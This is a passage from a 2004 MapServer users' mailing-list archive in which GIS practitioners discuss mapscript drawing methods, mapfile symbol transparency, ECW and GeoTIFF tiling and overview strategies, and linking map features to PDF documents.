gisworld From m.meier at spiekermann.de Sun May 16 03:51:35 2004 From: m.meier at spiekermann.de (Manfred Meier) Date: Sun, 16 May 2004 12:51:35 +0200 Subject: [Mapserver-users] pointObj method 'draw' Message-ID: <40A747B7.30500@spiekermann.de> Hello list, I'm trying to understand how mapserver works. I'm using mapserver 4.0.2 and perl mapscript. In the list archive i had learned that i can draw a point 'on the fly' with $pt->draw ($map, $layer,....). But it seeems that there is no such method for line objects. Can someone give me a hint why? Thank you Manfred From dmorissette at dmsolutions.ca Sun May 16 05:43:23 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Sun, 16 May 2004 08:43:23 -0400 Subject: [Mapserver-users] pointObj method 'draw' In-Reply-To: <40A747B7.30500@spiekermann.de> References: <40A747B7.30500@spiekermann.de> Message-ID: <40A761EB.4070207@dmsolutions.ca> Manfred Meier wrote: > Hello list, > > I'm trying to understand how mapserver works. I'm using mapserver 4.0.2 > and perl mapscript. In the list archive i had learned that i can draw a > point 'on the fly' with $pt->draw ($map, $layer,....). But it seeems > that there is no such method for line objects. Can someone give me a > hint why? > You can add your lineObj to a shapeObj and then use $shape->draw() -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From Robin.Ellis at nrm.qld.gov.au Sun May 16 17:33:24 2004 From: Robin.Ellis at nrm.qld.gov.au (Ellis Robin Bundaberg) Date: Mon, 17 May 2004 10:33:24 +1000 Subject: [Mapserver-users] Transparency issues with ArcIMS Emulator and defined line symbols Message-ID: Hi list I'm having trouble displaying lines 'over-the-top' of other datasets in ArcMap when using Mapserver's ArcIMS emulator and defined line symbols. It seems that when I define a line symbol of my own (to simply allow me to adjust the width/size of the line) the image produced by Mapserver seems to be struggling to portray the transparencies required. This manifests itself in two different ways, depending on how many ArcIMS services are being simulated. Firstly, if I reference my underlying data (say, polygons) in a separate map file (and therefore map service) to my line data, I find that when I turn on my line data the underlying data is totally obscured by what should normally be a transparent image background. On the other hand, if I reference all data sets in the one map file (as per the layer descriptions from the mapfile given below) I find that turning the line data on doesn't totally obscur the layers beneath, but there problems associated with polygon boundaries appearing transparent when they shouldn't, and with same labels being partially obscured. The problem seems to be completely associated with the SIZE component of the CLASS object. Even when using a defined SYMBOL (instead of SYMBOL 0) I find the problem doesn't occur when unsing SIZE 1. I've included a copy of the map file below to give some idea of what's going on. This particular example displays just fine out side of ArcMAP. Any suggestions on how to get around this? Regards Rob # # Start of map file # NAME se_tester STATUS ON SIZE 600 600 EXTENT 396500 7226000 406500 7233500 UNITS METERS IMAGETYPE png IMAGECOLOR 255 255 255 Resolution 96 FONTSET /data4/WWW/mapserver/symbols/fonts/fonts.list PROJECTION "proj=utm" "zone=56" "ellps=GRS80" "south" "no_defs" END # # Start of web interface definition # WEB IMAGEPATH /data4/WWW/tmp/ IMAGEURL "http://myserver/tmp/" TEMPLATE "frmap.php" END # # Start of reference map # # # Start of legend # LEGEND KEYSIZE 18 12 LABEL TYPE BITMAP SIZE MEDIUM COLOR 0 0 89 POSITION UR END STATUS ON TEMPLATE "legend.html" END # # Start of scalebar # SCALEBAR IMAGECOLOR 255 255 255 LABEL COLOR 0 0 0 SIZE SMALL END SIZE 350 5 COLOR 255 255 255 BACKGROUNDCOLOR 0 0 0 OUTLINECOLOR 0 0 0 UNITS KILOMETERS INTERVALS 10 STATUS ON END SYMBOL NAME "double-line" TYPE ELLIPSE POINTS 1 1 END FILLED TRUE END # # Start of layer definitions # LAYER NAME "Childers Soils (CBW)" CONNECTIONTYPE OGR CONNECTION "/data2/aid/region/land/soils/100k/childers/cbw" DATA "3" STATUS default TYPE polygon METADATA LAYNAME "Childers Soils" LAYEXTENT "390500 7179000 450000 7235000" END PROJECTION "proj=utm" "zone=56" "ellps=GRS80" "south" "no_defs" END MAXSCALE 500000 LABELITEM "map_code" CLASS # EXPRESSION ([col_group] = 35) NAME "Kandosols" COLOR 255 255 128 OUTLINECOLOR 0 0 0 LABEL COLOR 0 0 0 TYPE truetype SIZE 8 FONT arial POSITION cc force true WRAP "|" END #label END END # LAYER LAYER NAME "100k Contours" TYPE line STATUS default CONNECTIONTYPE OGR TILEINDEX "/data4/WWW/projects/lwmp/se_grid100k.shp" DATA "0" TILEITEM "contours" LABELCACHE ON PROJECTION "proj=utm" "zone=56" "ellps=GRS80" "south" "no_defs" END MAXSCALE 250000 LABELITEM "feature.modi" CLASS NAME "100k Contours" COLOR 168 112 0 SYMBOL "double-line" SIZE 2 LABEL COLOR 0 0 0 TYPE truetype SIZE 8 FONT arial POSITION auto ANTIALIAS TRUE END # Label END # CLASS END # LAYER LAYER NAME "100k Drainage" TYPE line STATUS default CONNECTIONTYPE OGR TILEINDEX "/data4/WWW/projects/lwmp/se_grid100k.shp" DATA "0" TILEITEM "drainage" PROJECTION "proj=utm" "zone=56" "ellps=GRS80" "south" "no_defs" END MAXSCALE 250000 CLASS NAME "100k Drainage" COLOR 0 112 255 SYMBOL "double-line" SIZE 2 END # CLASS END # LAYER END # Map File Robin Ellis Department of Natural Resources and Mines PO Box 1167 Bundaberg QLD 4670 ph +61 7 4131 5771 fax +61 7 4131 5823 Robin.Ellis at nrm.qld.gov.au ************************************************************************ The information in this e-mail together with any attachments is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any form of review, disclosure, modification, distribution and/or publication of this e-mail message is prohibited. If you have received this message in error, you are asked to inform the sender as quickly as possible and delete this message and any copies of this message from your computer and/or your computer system network. ************************************************************************ From warmerdam at pobox.com Fri May 14 07:03:50 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Fri, 14 May 2004 10:03:50 -0400 Subject: [Mapserver-users] Mapserver Newbie Quests In-Reply-To: <2A3246007B0AC345A11FAF121B1BAC48040ACC@NTPLHX10.ad.noel.gv.at> References: <2A3246007B0AC345A11FAF121B1BAC48040ACC@NTPLHX10.ad.noel.gv.at> Message-ID: <40A4D1C6.6040306@pobox.com> Zornig J?rgen wrote: > Hello, all > > I have set up Mapserver Win Binaries (4.2 beta2) on a Windows 2000 Server Machine, because of the ECW Support of GDAL. The Server only should Serve a bunch of ECW Color Images per OGC Service at a good performance. So I created a tile index over the Fotos (~10000 Mosaics in endconfig) as shapefile. This works fine but there are also a lot of problems, I can not solve with my mapserver skills. > > Problem 1: Can I use a tile index, served by a PostGIS Database? Is that faster (more perormance)? Jurgen, I don't think so though it might work in 4.3. In any event, I don't think it would give better performance than a spatialling indexed shapefile. > Problem 2: When I zoom out too much, mapserver needs exponentially more time to process the input ecw?s to a output jpeg. How can I tune that best? (Pyramids? How?) The GDAL ECW drivers are not necessarily all that efficient at processing requests from alot of ECWs. There should be no need to generate pyramids for the individual ECW files, but having a pre-cooked overview layer to switch to at a particular scale might be a wise idea. > Problem 3: On the Server, there are running lots of instances of mapserv.exe, which I can?t kill, because "Acces denied!" (I?m root on that machine). COuld there be some misconfiguration? Got me. However, I would like to stress that the MapServer beta-2 is seriously broken for raster data (as I announced to the list a few days ago), and should not be trusted for raster use. It is likely to suffer heap corruption and seg faults at any time when raster layers are used. I am hoping Paul will replace the package with a Beta 3 version very soon which has the raster bug fixed. BTW, the raster bug was my fault and resulted from a sloppy fix to the "raster cracking" problem. In fact, it took 3 fixes before I got it right (I hope). > Problem 4: I?m testing this configuration (mapserver + ecw Imagery + tile index), to find a method to serve very large raster data for our ArcIMS Services, ArcGIS Applications and AutoCAD Clients. Do you think, there might be a better solution? For my part, mapserver could do this good (if I could admin it perfectly), but maybe there is a much better solution. Honestly, I am not confident of performance with ECW files. If you have the disk space I would be more comfortable doing this with GeoTIFF files for each tile with lots of overviews built, and a pre-prepared overview file for use at broad zoom level. Any view that involves opening alot of individual files may suffer unexpected performance issues. If you really want to use ECW files be prepared to fiddle about a bit, and/or to fund additional engineering work to fine tune performance. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From pdymecki at sympatico.ca Sun May 16 21:27:54 2004 From: pdymecki at sympatico.ca (Paul Dymecki) Date: Mon, 17 May 2004 00:27:54 -0400 Subject: [Mapserver-users] gdal 1.2.0 References: <40A747B7.30500@spiekermann.de> Message-ID: <002d01c43bc7$5318a030$7b45fea9@paul> Hello, I was wondering if any one has a compilied version of mapserver with gdal1.2.0 on windows they could share. I'm trying to avoid compilation headaches + don't have MSVC... thx, Paul Dymecki ----- Original Message ----- From: "Manfred Meier" To: Sent: Sunday, May 16, 2004 6:51 AM Subject: [Mapserver-users] pointObj method 'draw' > Hello list, > > I'm trying to understand how mapserver works. I'm using mapserver 4.0.2 > and perl mapscript. In the list archive i had learned that i can draw a > point 'on the fly' with $pt->draw ($map, $layer,....). But it seeems > that there is no such method for line objects. Can someone give me a > hint why? > > Thank you > > Manfred > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From m.meier at spiekermann.de Sun May 16 21:30:46 2004 From: m.meier at spiekermann.de (Manfred Meier) Date: Mon, 17 May 2004 06:30:46 +0200 Subject: [Mapserver-users] pointObj method 'draw' In-Reply-To: <40A761EB.4070207@dmsolutions.ca> References: <40A747B7.30500@spiekermann.de> <40A761EB.4070207@dmsolutions.ca> Message-ID: <40A83FF6.9010003@spiekermann.de> Thank you for your answer, Daniel, I knew that, and I would like to know, why there is this difference. But it's not so very important. Mapserver and mapscript are very helpful for me. I'm trying to display the location of busses with information about delays. Manfred Daniel Morissette schrieb: > Manfred Meier wrote: > >> Hello list, >> >> I'm trying to understand how mapserver works. I'm using mapserver >> 4.0.2 and perl mapscript. In the list archive i had learned that i can >> draw a point 'on the fly' with $pt->draw ($map, $layer,....). But it >> seeems that there is no such method for line objects. Can someone give >> me a hint why? >> > > You can add your lineObj to a shapeObj and then use $shape->draw() > From bartvde at xs4all.nl Sun May 16 23:45:23 2004 From: bartvde at xs4all.nl (bartvde at xs4all.nl) Date: Mon, 17 May 2004 08:45:23 +0200 (CEST) Subject: [Mapserver-users] gdal 1.2.0 In-Reply-To: <002d01c43bc7$5318a030$7b45fea9@paul> References: <40A747B7.30500@spiekermann.de> <002d01c43bc7$5318a030$7b45fea9@paul> Message-ID: <6917.212.238.227.182.1084776323.squirrel@webmail.xs4all.nl> Hi Paul, the 4.2 binaries provided by DM Solutions will help you out: http://www.maptools.org/php_mapscript/index.phtml?page=downloads.html Best regards, Bart > Hello, > I was wondering if any one has a compilied version of mapserver with > gdal1.2.0 on windows they could share. I'm trying to avoid compilation > headaches + don't have MSVC... > thx, > Paul Dymecki > ----- Original Message ----- > From: "Manfred Meier" > To: > Sent: Sunday, May 16, 2004 6:51 AM > Subject: [Mapserver-users] pointObj method 'draw' > > >> Hello list, >> >> I'm trying to understand how mapserver works. I'm using mapserver 4.0.2 >> and perl mapscript. In the list archive i had learned that i can draw a >> point 'on the fly' with $pt->draw ($map, $layer,....). But it seeems >> that there is no such method for line objects. Can someone give me a >> hint why? >> >> Thank you >> >> Manfred >> >> >> >> _______________________________________________ >> Mapserver-users mailing list >> Mapserver-users at lists.gis.umn.edu >> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From juergen.zornig at noel.gv.at Mon May 17 00:23:12 2004 From: juergen.zornig at noel.gv.at (=?iso-8859-1?Q?Zornig_J=FCrgen?=) Date: Mon, 17 May 2004 09:23:12 +0200 Subject: WG: [Mapserver-users] Mapserver Newbie Quests Message-ID: <2A3246007B0AC345A11FAF121B1BAC48312602@NTPLHX10.ad.noel.gv.at> -----Urspr?ngliche Nachricht----- Von: Tyler Mitchell [mailto:TMitchell at lignum.com] Gesendet: Freitag, 14. Mai 2004 19:27 An: Zornig J?rgen Cc: mapserver-users at lists.gis.umn.edu Betreff: Re: [Mapserver-users] Mapserver Newbie Quests >I think that your shape file tile index is probably going to be faster, >in >theory, than PostGIS. The nature of MapServer is that PostGIS calls have >to go through a couple more levels to get your answer, whereas shape files >are bit more simple. Good news :) >ECW's, by nature, have a type of pyramids already. It is not clear >whether or not GDAL takes complete advantage of this, I know it was an >issue earlier on - a good question for the GDAL mailing list. There are >several folks, including myself, using this capability - but I'm not >pushing the limits as you appear to be. That?s the Problem, I know about the pyramid capabilities of ECW, but I didn?t know GDAL and its caps until now. The answer will be somewhere in the net... >Perhaps restarting the web server would help. I assume it's not an >Apache >web server :) It is Apache! Because of that, its mystery! But I found a way to kill mapserv.exe remotely, with the RPC Tool taskkill.exe, which I found in the System-Directory of Win XP Prof. With the Force-Flag set there is nothing you cannot kill remotely on a Windose Box. >I think targetting OGC WMS would probably be your best bet - sounds >like >you are on the right track! Thats what I thought, because there is no real OGC WM Service Application the market, which is able to serve large Image Raster Data. Image Web Server from ermapper.com is not really able to serve real OGC WMS, because of their own ECW as output Format. Thanks for your spontanous help. On the postgis mailing list, no one answers as fast as here. Best, J?rgen From juergen.zornig at noel.gv.at Mon May 17 00:59:31 2004 From: juergen.zornig at noel.gv.at (=?iso-8859-1?Q?Zornig_J=FCrgen?=) Date: Mon, 17 May 2004 09:59:31 +0200 Subject: AW: [Mapserver-users] Mapserver Newbie Quests Message-ID: <2A3246007B0AC345A11FAF121B1BAC48040AD2@NTPLHX10.ad.noel.gv.at> -----Urspr?ngliche Nachricht----- Von: Richard Greenwood [mailto:rich at greenwoodmap.com] Gesendet: Samstag, 15. Mai 2004 21:01 An: Administrator at noel.gv.at Cc: Zornig J?rgen; mapserver-users at lists.gis.umn.edu Betreff: Re: [Mapserver-users] Mapserver Newbie Quests Tyler Mitchell wrote: >Even if GDAL is using ECW's built-in pyramids, the overhead of opening >~10000 files would be significant. I'd recommend pyramids. Maybe fewer >than you would use with tiffs. Patch your images together and down >sample them. The Overhead for ~10000 files is to much, thats clear. But I thought, that about 400 Images would be possible. 400 because thats the number of "original" delivered images, which are visible in the largest possible extend. We try to hold the investment of work down on the lowest possible level, which means: Deliverant -> Tile Index -> OGC Mapservice So I hoped, that GDAL is able to downsample by itself. Perhaps 400 Images are also too much. In fact I will try the way with own processed and down sampled Pyramids, but only as last chance. >Those are probably instances of mapserv.exe that died. Get the >"kill.exe" tool from the NT Resource Kit (or Google it). I found taskkill.exe in the Windows System32 Directory which is able to kill Tasks over the RPC Interface. With the Force Flag set, it was able to kill all my mapserv.exe tasks on the server. Russian methods, but it works ;) Also nothing for productional operation. >ER Mapper has an ECW Image Web Server. Don't know much about it, but it >sounds like what you are looking for. Image Web Server is a very good software, but for my opinion, it?s not able to serve OGC compliant WMS, because of the own ECW Format as output Format. If it was able to serve JPEG Output, we would buy it! The other factor is the price which is around 50.000,- Euros for the enterprise edition, which is, as written, not able to serve OGC WMS. I?ve seen IWS in evaluation operation, and I also have to say at this point, the speed on which the client gets hundreds of Bytes of Rasterdata over 10MBit LAN is really incredible. A good concurrent is rasdaman which is based on any RDBMS. Output Interface is a very simple OGC WMS. The speed is also incredible because its resampled and packed before it goes over the line. And the best, it works on a 500 MHz Linux Box with 256 MB RAM! But its only the last chance for our IT Department, because they would have to administer an Oracle DB. :( Thanks for your answers, I?ll try to create a standard process for calculating pyramids in the meantime. Mit freundlichen Gruessen / Best regards J?rgen Zornig Amt der N? Landesregierung BD5 - N? GeoInformationsSystem "N?GIS" Landhausplatz 1, Haus 13, Zi. 13.521 A-3109 St. Poelten/Austria ---------------------------------------- Tel: +43 (0)2742 / 9005 - 14764 Fax: +43 (0)2742 / 9005 - 13888 ---------------------------------------- http://www.noe.gv.at/noegis mailto:juergen.zornig at noel.gv.at From kenneth at kongsbak.dk Mon May 17 01:45:33 2004 From: kenneth at kongsbak.dk (Kenneth Slot) Date: Mon, 17 May 2004 10:45:33 +0200 Subject: [Mapserver-users] Hyperlinks from map layers Message-ID: This is a multipart message in MIME format. --=_alternative 00330A95C1256E97_= Content-Type: text/plain; charset="US-ASCII" I have a 2 layers called plan_poly the other called plan_line. As the title says on layer type is Polygon and the other is Line. Both layers contains the same columns Title, Desciptions and Doclink. The doclink contains link to a given PDF document on a webserver. http://www........../1-1.pdf I want to makes these doclinks active as hyperlinks, so i can click on the map with the "i" button and be redirected to the pdf-document. Is that possible? If so how do i activate my layers? I'm using MapLap and Mapserver newest version. On Microsoft Internet Informations Server. Thanks Kenneth --=_alternative 00330A95C1256E97_= Content-Type: text/html; charset="US-ASCII"
I have a 2 layers called plan_poly the other called plan_line. As the title says on layer type is Polygon and the other is Line.
Both layers contains the same columns Title, Desciptions and Doclink.
The doclink contains link to a given PDF document on a webserver. http://www........../1-1.pdf
I want to makes these doclinks active as hyperlinks, so i can click on the map with the "i" button and be redirected to the pdf-document.
Is that possible? If so how do i activate my layers?
I'm using MapLap and Mapserver newest version. On Microsoft Internet Informations Server.



Thanks

Kenneth --=_alternative 00330A95C1256E97_=-- From mschulz at webgis.de Mon May 17 03:10:30 2004 From: mschulz at webgis.de (Michael Schulz) Date: Mon, 17 May 2004 12:10:30 +0200 Subject: [Mapserver-users] Hyperlinks from map layers In-Reply-To: References: Message-ID: <40A88F96.5060201@webgis.de> Hi Kenneth, an easy way to do this, is to open a new browser window and then define the location of the new window with javascript: Therefore you need a JS function in your query template that assigns the new href location: function openLink() { detail = window.open("","Detail","toolbar=no"); detail.location.href = "http://www.yourserver.dk/pdf_dir/[DBF_PDF_LINK]"; } Call this function from . HTH, Michael Kenneth Slot schrieb: > > I have a 2 layers called plan_poly the other called plan_line. As the > title says on layer type is Polygon and the other is Line. > Both layers contains the same columns Title, Desciptions and Doclink. > The doclink contains link to a given PDF document on a webserver. > http://www........../1-1.pdf > I want to makes these doclinks active as hyperlinks, so i can click on > the map with the "i" button and be redirected to the pdf-document. > Is that possible? If so how do i activate my layers? > I'm using MapLap and Mapserver newest version. On Microsoft Internet > Informations Server. > > > > Thanks > > Kenneth -- ----------------------------------------------------------- Michael Schulz in medias res Dipl.-Geologe Gesellschaft f?r Informationstechnologie mbH In den Weihermatten 66 79108 Freiburg 0761 55695-95 (Fax 96) mschulz at webgis.de www.webgis.de/www.zopecms.de From williampaul28 at yahoo.com Mon May 17 02:43:39 2004 From: williampaul28 at yahoo.com (william paul) Date: Mon, 17 May 2004 02:43:39 -0700 (PDT) Subject: [Mapserver-users] 3D images in mapserver In-Reply-To: <20040514170004.17691.33626.Mailman@lists.gis.umn.edu> Message-ID: <20040517094339.16923.qmail@web90001.mail.scd.yahoo.com> --0-887111486-1084787019=:14606 Content-Type: text/plain; charset=us-ascii Does anyone tried to use 3D images in mapserver as moving image like VRML. there is an script VRML for mapserver in order to create 3D image which can be rotated, interogated, etc? --------------------------------- Do you Yahoo!? SBC Yahoo! - Internet access at a great low price. --0-887111486-1084787019=:14606 Content-Type: text/html; charset=us-ascii

Does anyone tried to use 3D images in mapserver as moving image like VRML. there is an script VRML for mapserver in order to create 3D image which can be rotated, interogated, etc?


Do you Yahoo!?
SBC Yahoo! - Internet access at a great low price. --0-887111486-1084787019=:14606-- From ikeivy2000 at hotmail.com Mon May 17 04:05:41 2004 From: ikeivy2000 at hotmail.com (ISAAC KWADWO NTI) Date: Mon, 17 May 2004 13:05:41 +0200 Subject: [Mapserver-users] NEED HELP ON INSTALLATION Message-ID:

Hello,

Please I am a student in Germany,I am doing my dissertation in Internet GIS and therfore chose to use the mapserver software for it.

I have tried installing it but not working.Could any one help with a step by step installation of the software.

I am using apache 2.0.42.I used the information about installation online but still not working.

Hoping to hear from you.

Isaac


 


STOP MORE SPAM with the new MSN 8 and get 2 months FREE* From imd_listuser at comcast.net Mon May 17 04:41:34 2004 From: imd_listuser at comcast.net (IMD Listuser) Date: Mon, 17 May 2004 07:41:34 -0400 Subject: [Mapserver-users] Large Raster files Message-ID: <90264B8395BF154DB2CB12B068DFFAE9052929@westward.im-design.net> Hello all I have several large (250MB) images that I would like to serve using mapserver. They are currently Geotiffs, so I would prefer to use them in the same format. Nonetheless I would be happy to hear about the best strategies for serving imagery. In particular, what is the best method for splitting up such an image into the smaller tiles that can be indexed using gdaltindex? TIA Charlie Van Dusen IM Design From nhv at cape.com Mon May 17 05:33:33 2004 From: nhv at cape.com (Norman Vine) Date: Mon, 17 May 2004 08:33:33 -0400 Subject: [Mapserver-users] Large Raster files In-Reply-To: <90264B8395BF154DB2CB12B068DFFAE9052929@westward.im-design.net> Message-ID: IMD Listuser writes: > > I have several large (250MB) images that I would like to serve using > mapserver. They are currently Geotiffs, so I would prefer to use them in > the same format. Nonetheless I would be happy to hear about the best > strategies for serving imagery. > > In particular, what is the best method for splitting up such an image > into the smaller tiles that can be indexed using gdaltindex? > If you only have 'several' images, It might be that a combination of using a tiled tiff format and overviews is good enough i.e. there may be no need to split up your images into small tiles If you have more then 'several' images you will probably want to use gdaltindex to build a mapserver index file for your original rasters too documentation for gdal_translate, gdalaldo and gdaltindex @ http://remotesensing.org/gdal/gdal_utilities.html HTH Norman From j.l.h.hartmann at uva.nl Mon May 17 06:46:55 2004 From: j.l.h.hartmann at uva.nl (Jan Hartmann) Date: Mon, 17 May 2004 15:46:55 +0200 Subject: [Mapserver-users] Large Raster files In-Reply-To: <90264B8395BF154DB2CB12B068DFFAE9052929@westward.im-design.net> References: <90264B8395BF154DB2CB12B068DFFAE9052929@westward.im-design.net> Message-ID: <40A8C24F.5070508@uva.nl> IMD Listuser wrote: > > I have several large (250MB) images that I would like to serve using > mapserver. They are currently Geotiffs, so I would prefer to use them in > the same format. Nonetheless I would be happy to hear about the best > strategies for serving imagery. > > In particular, what is the best method for splitting up such an image > into the smaller tiles that can be indexed using gdaltindex? > I use the following rule of thumb: I partition large raster files into tiles of 2000*2000 and build an index on them with gdaltindex. Partitioning can be done with GRASS or gdal_translate -srcwin. I also make downsampled copies of the original raster, resampling it by factors of two, also with GRASS or with gdalwarp -tr. If he resulting image itself is larger than 2000*2000 I tile that too, and so on. A 40000*40000 image would result in 20*20=400 tiles; it would be resampled to 20000*20000 pixels (partitioned into 10*10=100 tiles in its turn), and so on. The 40000, 20000, 10000, 5000 etc tiled images can be shown at their appropriate scales by the MAXSCALE-MINSCALE keyword. I'm not sure how "optimal" this procedure is; it works nicely for the Amsterdam maps, but I'm sure it can be optimized. My impression it that it generates *much* more efficient web sites than advanced compressing techniques like ECW. The factoring by powers of two makes it very easy to script the procedure, so large numbers of big rasters can be processed without much programming. This way, the original eighteen Amsterdam maps (1.5G) resulted into about 10000 tiles, requiring about three times the original disk space. Perhaps people with really big databases could comment on this? Jan From sgillies at frii.com Mon May 17 07:28:09 2004 From: sgillies at frii.com (Sean Gillies) Date: Mon, 17 May 2004 08:28:09 -0600 Subject: [Mapserver-users] pointObj method 'draw' In-Reply-To: <40A83FF6.9010003@spiekermann.de> References: <40A747B7.30500@spiekermann.de> <40A761EB.4070207@dmsolutions.ca> <40A83FF6.9010003@spiekermann.de> Message-ID: <6B867188-A80E-11D8-8955-000D9329D732@frii.com> Manfred, Why the difference? First, it must be understood that the development of the MapServer software is primarily driven by advances in the mapserv program, and that the mapscript module has been developed by wrapping structures and functions used in mapserv. I don't think that the mapscript module has been through much design, rather it grows by judicious accretion of features from mapserv. In mapserv, lines are only drawn within the context of layer features or within the context of a legend, hence there is no drawing of lines only, only the function that we wrap to use with shapeObj::draw. Because of the need for annotation, there are functions to draw points outside of the layer feature context and this is the basis for pointObj::draw. You are right that the mapscript API implies that there may exist a lineObj::draw, and I agree that such a function could be useful. However, I am not in favor of extending the general drawing features of mapscript in the current API. In my opinion, pointObj::draw and shapeObj::draw are elements of bad design and we shouldn't increase bad design with a lineObj::draw. Hope this explains, cheers, Sean On May 16, 2004, at 10:30 PM, Manfred Meier wrote: > Thank you for your answer, Daniel, > > I knew that, and I would like to know, why there is this difference. > But it's not so very important. > > Mapserver and mapscript are very helpful for me. I'm trying to display > the location of busses with information about delays. > > Manfred > -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From mweinelt at planiglobe.com Mon May 17 07:52:50 2004 From: mweinelt at planiglobe.com (Martin Weinelt) Date: Mon, 17 May 2004 16:52:50 +0200 Subject: [Mapserver-users] Large Raster files In-Reply-To: <40A8C24F.5070508@uva.nl> References: <90264B8395BF154DB2CB12B068DFFAE9052929@westward.im-design.net> <40A8C24F.5070508@uva.nl> Message-ID: <200405171652.51021.mweinelt@planiglobe.com> On Monday 17 May 2004 15:46, Jan Hartmann wrote: > IMD Listuser wrote: > > I have several large (250MB) images that I would like to serve using > > mapserver. They are currently Geotiffs, so I would prefer to use them in > > the same format. Nonetheless I would be happy to hear about the best > > strategies for serving imagery. > > > > In particular, what is the best method for splitting up such an image > > into the smaller tiles that can be indexed using gdaltindex? > > I use the following rule of thumb: I partition large raster files into > tiles of 2000*2000 and build an index on them with gdaltindex. > Partitioning can be done with GRASS or gdal_translate -srcwin. I also > make downsampled copies of the original raster, resampling it by factors > of two, also with GRASS or with gdalwarp -tr. If he resulting image > itself is larger than 2000*2000 I tile that too, and so on. A > 40000*40000 image would result in 20*20=400 tiles; it would be resampled > to 20000*20000 pixels (partitioned into 10*10=100 tiles in its turn), > and so on. The 40000, 20000, 10000, 5000 etc tiled images can be shown > at their appropriate scales by the MAXSCALE-MINSCALE keyword. > > I'm not sure how "optimal" this procedure is; it works nicely for the > Amsterdam maps, but I'm sure it can be optimized. My impression it that > it generates *much* more efficient web sites than advanced compressing > techniques like ECW. The factoring by powers of two makes it very easy > to script the procedure, so large numbers of big rasters can be > processed without much programming. This way, the original eighteen > Amsterdam maps (1.5G) resulted into about 10000 tiles, requiring about > three times the original disk space. > > Perhaps people with really big databases could comment on this? I am not Ed ;-) but handling DEM-hillshades in a current project which can also get quite big. What I am doing reads almost exactly like the procedure decribed by Jan. I stay away from any on-the-fly projection and do as much 'preprocessing' as can be done. I also change RGB to indexed colors, which gives almost the same impression IMHO. Everything is done by GDAL and the utilities. I decided to have tiles about the size of the map, without knowing exactly why this would be better then 2000px (Jan). I also think that compressing the rasters is even contraproductive, because 'in memory' there is no compression and you add an extra job (decoding) to the application. I keeping the shapefiles in different resolutions aswell, making my map file a pain (number of MAXSCALE-MINSCALE-layers for the same data). I will look deeper into the new DATAPATTERN and variable substitution mechanisms soon. Cheers, Martin From j.l.h.hartmann at uva.nl Mon May 17 08:09:39 2004 From: j.l.h.hartmann at uva.nl (Jan Hartmann) Date: Mon, 17 May 2004 17:09:39 +0200 Subject: [Mapserver-users] Large Raster files In-Reply-To: <200405171652.51021.mweinelt@planiglobe.com> References: <90264B8395BF154DB2CB12B068DFFAE9052929@westward.im-design.net> <40A8C24F.5070508@uva.nl> <200405171652.51021.mweinelt@planiglobe.com> Message-ID: <40A8D5B3.6000803@uva.nl> Martin Weinelt wrote: > > I am not Ed ;-) but handling DEM-hillshades in a current project which can > also get quite big. What I am doing reads almost exactly like the procedure > decribed by Jan. I stay away from any on-the-fly projection and do as much > 'preprocessing' as can be done. I also change RGB to indexed colors, which > gives almost the same impression IMHO. Yes, both preprocessing tasks (projecting and converting RGB to indexed colors) are almost mandatory for production servers > > Everything is done by GDAL and the utilities. I decided to have tiles about > the size of the map, without knowing exactly why this would be better then > 2000px (Jan). Nothing holy about the number. It's just that multiplying and dividing by 2 is so easy with a computer :-). I chose 2000, because a single request should be as much confined to one tile, but it should not have to resample the image too much. Most map images are about 500 by 500 pixels, so there is a good chance that it is completely within one tile. > I also think that compressing the rasters is even contraproductive, because > 'in memory' there is no compression and you add an extra job (decoding) to > the application. That's what I thought too, but serving compressed TIF files is not much faster than uncompressed ones, at least in my experience. Some of my rasters have a very high rate of compression (5 to 20 times), so I would run into disk problems with this procedure. Reason is (I guess) that regions can be extracted from compressed tifs without decompressing the whole file, so the actual time lost to decompressing the region is marginal. > > I keeping the shapefiles in different resolutions aswell, making my map file a > pain (number of MAXSCALE-MINSCALE-layers for the same data). I will look > deeper into the new DATAPATTERN and variable substitution mechanisms soon. > Additionally, I have been thinking about generalizing shapefiles to different levels with PostGIS. IMO generalizing is one of the fundamental problems of WebMapping. Jan From mweinelt at planiglobe.com Mon May 17 08:28:46 2004 From: mweinelt at planiglobe.com (Martin Weinelt) Date: Mon, 17 May 2004 17:28:46 +0200 Subject: [Mapserver-users] Large Raster files In-Reply-To: <40A8D5B3.6000803@uva.nl> References: <90264B8395BF154DB2CB12B068DFFAE9052929@westward.im-design.net> <200405171652.51021.mweinelt@planiglobe.com> <40A8D5B3.6000803@uva.nl> Message-ID: <200405171728.46669.mweinelt@planiglobe.com> On Monday 17 May 2004 17:09, Jan Hartmann wrote: > Martin Weinelt wrote: > > I am not Ed ;-) but handling DEM-hillshades in a current project which > > can also get quite big. What I am doing reads almost exactly like the > > procedure decribed by Jan. I stay away from any on-the-fly projection and > > do as much 'preprocessing' as can be done. I also change RGB to indexed > > colors, which gives almost the same impression IMHO. > > Yes, both preprocessing tasks (projecting and converting RGB to indexed > colors) are almost mandatory for production servers > > > Everything is done by GDAL and the utilities. I decided to have tiles > > about the size of the map, without knowing exactly why this would be > > better then 2000px (Jan). > > Nothing holy about the number. It's just that multiplying and dividing > by 2 is so easy with a computer :-). I chose 2000, because a single > request should be as much confined to one tile, but it should not have > to resample the image too much. Most map images are about 500 by 500 > pixels, so there is a good chance that it is completely within one tile. Sometimes I am facing white stripes (1px) at the margings of the tiles. I guess I have to tune the tiling in respect to the geocoded extent /pixel size ot the image > > I also think that compressing the rasters is even contraproductive, > > because 'in memory' there is no compression and you add an extra job > > (decoding) to the application. > > That's what I thought too, but serving compressed TIF files is not much > faster than uncompressed ones, at least in my experience. Some of my > rasters have a very high rate of compression (5 to 20 times), so I would > run into 